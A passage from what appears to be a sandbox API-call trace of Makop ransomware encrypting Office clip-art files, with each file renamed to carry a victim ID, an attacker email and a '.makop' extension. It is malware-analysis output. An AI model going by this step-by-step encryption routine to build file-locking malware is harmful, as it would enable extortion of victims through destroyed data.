param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.085] CloseHandle (hObject=0xf0) returned 1 [0129.085] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0129.085] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0129.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.088] GetProcessHeap () returned 0x48a0000 [0129.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.088] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.088] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.088] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.088] GetProcessHeap () returned 0x48a0000 [0129.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.088] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.088] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.088] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.094] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8860, lpOverlapped=0x0) returned 1 [0129.095] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8860, dwBufLen=0x8860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8860) returned 1 [0129.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8860, lpOverlapped=0x0) returned 1 [0129.096] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.097] SetEndOfFile (hFile=0xf0) returned 1 [0129.105] GetProcessHeap () returned 0x48a0000 [0129.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.105] GetProcessHeap () returned 0x48a0000 [0129.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.105] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.107] CloseHandle (hObject=0xf0) returned 1 [0129.107] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0129.107] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0129.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.135] GetProcessHeap () returned 0x48a0000 [0129.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.140] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.141] GetProcessHeap () returned 0x48a0000 [0129.141] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.142] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.142] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6624, lpOverlapped=0x0) returned 1 [0129.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630, dwBufLen=0x6630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6630) returned 1 [0129.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6630, lpOverlapped=0x0) returned 1 [0129.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.145] SetEndOfFile (hFile=0xf0) returned 1 [0129.152] GetProcessHeap () returned 0x48a0000 [0129.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.152] GetProcessHeap () returned 0x48a0000 [0129.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.154] CloseHandle (hObject=0xf0) returned 1 [0129.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0129.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0129.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.155] GetProcessHeap () returned 0x48a0000 [0129.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.159] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.159] GetProcessHeap () returned 0x48a0000 [0129.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.159] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.159] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.159] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.161] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3cce, lpOverlapped=0x0) returned 1 [0129.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3cd0, dwBufLen=0x3cd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3cd0) returned 1 [0129.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3cd0, lpOverlapped=0x0) returned 1 [0129.162] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.163] SetEndOfFile (hFile=0xf0) returned 1 [0129.169] GetProcessHeap () returned 0x48a0000 [0129.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.169] GetProcessHeap () returned 0x48a0000 [0129.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.170] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.171] CloseHandle (hObject=0xf0) returned 1 [0129.171] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0129.171] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0129.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.172] GetProcessHeap () returned 0x48a0000 [0129.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.172] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0129.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.178] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.178] GetProcessHeap () returned 0x48a0000 [0129.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.178] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.180] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd6b4, lpOverlapped=0x0) returned 1 [0129.182] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd6c0) returned 1 [0129.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd6c0, lpOverlapped=0x0) returned 1 [0129.184] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 